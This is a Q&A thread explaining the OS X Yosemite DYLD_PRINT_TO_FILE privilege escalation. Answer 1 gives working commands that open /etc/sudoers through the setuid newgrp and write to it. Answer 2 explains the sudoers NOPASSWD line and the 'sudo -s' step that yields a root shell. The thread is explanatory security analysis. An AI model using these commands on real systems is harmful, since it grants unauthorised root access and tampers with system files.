How does the DYLD privilege escalation vulnerability work on OS X?

Question

Just reading about the DYLD privilege escalation vulnerability reported by Stefan Esser at https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html

I understand this allows anyone to create or open arbitrary files owned by root anywhere in the filesystem but I want to understand more how leaking the file descriptor to child proceses makes this a larger threat than if it didnt.

Answer 1

Analysis

When setting:

DYLD_PRINT_TO_FILE=/tmp/log some_command

the MacOS X dynamic loader will open /tmp/log as a log file, i.e. with append access to potentially debug problems within the dynamic loader. This file is open with the first free file descriptor in the shell calling context which is 3. Hence the file descriptors associations are:

0   →   stdin
1   →   stdout
2   →   stderr
3   →   /tmp/log

and within this context the process some_command is forked.

Unfortunatly, the dynamic loader doesn't close 3. Hence the process some_command is running with an open file it never had to open and never went through the normal filesystem access control. This may be a file to which some_command should have no access if it normally tried to open it.

Example

For example, although newgrp is a setuid binary it can't write on correctly protected files:

$ newgrp
$ echo '#comment' >&3
zsh: 3: bad file descriptor

this error is normal, the shell forked by newgrp doesn't have a file descriptor 3 open, as lsof permits to clearly see it (look at column FD for the 3):

$ lsof -p $$
COMMAND  PID USER   FD   TYPE DEVICE  SIZE/OFF      NODE NAME
[...]
zsh     2405  bob    0u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    1u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    2u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    5                                   (revoked)
[...]

But due to the lack of closing 3 in the dynamic loader:

$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
$ echo '#comment' >&3
$

beware: here the absence of error message means the echo worked. and moreover lsof shows the hole (line 3w, which means file descriptor 3 opened with write access):

$ lsof -p $$
COMMAND  PID USER   FD   TYPE DEVICE  SIZE/OFF       NODE NAME
[...]
zsh     2430  bob    0u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    1u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    2u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    3w   REG    1,7      1293 2034681610 /private/etc/sudoers
zsh     2430  bob    5                                    (revoked)
[...]

will let newgrp write on /etc/sudoers file were it should never had occured.

Warning

If you try this example, don't forget to clean your /etc/sudoers afterward, even if this example is harmless. Its last line contains now #comment.

Answer 2

newgrp is a UNIX utility that executes a shell with a new group ID (see the UNIX specification page). This utility requires root permission since it can change the group ID to one outside the current shell's group list (e.g. to any group in the uid's group list). Therefore, newgrp is a setuid root application which launches a shell.

DYLD_PRINT_TO_FILE is a dyld (OS X dynamic linker) environment variable that tells dyld where to print debugging information. This particular variable was added in OS X 10.10 "Yosemite". It is just one of a large number of DYLD_ variables, which facilitate debugging shared library loading. When dyld sees DYLD_PRINT_TO_FILE, it opens a new file descriptor connected to the specified file. Since fds 0,1,2 are already connected to stdin, stdout and stderr, the file is opened as fd 3. Notably, since newgrp starts as root, the file is opened using root's permissions, even though newgrp later drops privileges to spawn the shell.

Because DYLD_ environment variables can modify a program's behaviour in unexpected ways (particularly DYLD_INSERT_LIBRARIES, the OS X equivalent of LD_PRELOAD), they are usually deleted or sanitized prior to running setuid programs. Apple clearly forgot to sanitize the new DYLD_PRINT_TO_FILE when shipping Yosemite, opening this particular flaw up.

Finally, the (outer) echo command tells the subshell spawned by newgrp to execute the (inner) echo command, which outputs the string $(whoami) ALL=(ALL) NOPASSWD:ALL into fd 3, which is now /etc/sudoers. This line tells sudo that any account is allowed sudo access, and that no password is required to use sudo.

The subshell then exits (no more commands to run), and the final command sudo -s executes. Since sudo no longer requires a password, and all accounts can use sudo, sudo -s just immediately opens a root shell without prompting.

---

OS X's dyld does actually remove all DYLD_ variables from the environment for setuid apps, as you can see in the pruneEnvironmentVariables function from dyld.cpp. So why does this bug exist at all? The answer is that DYLD_PRINT_TO_FILE is handled well before the sanitization takes place - in fact, it is basically the first thing that dyld does after starting up (see _main in dyld.cpp). Apple's fix, therefore, should be quite simple: the file should be opened only after the environment has been properly sanitized.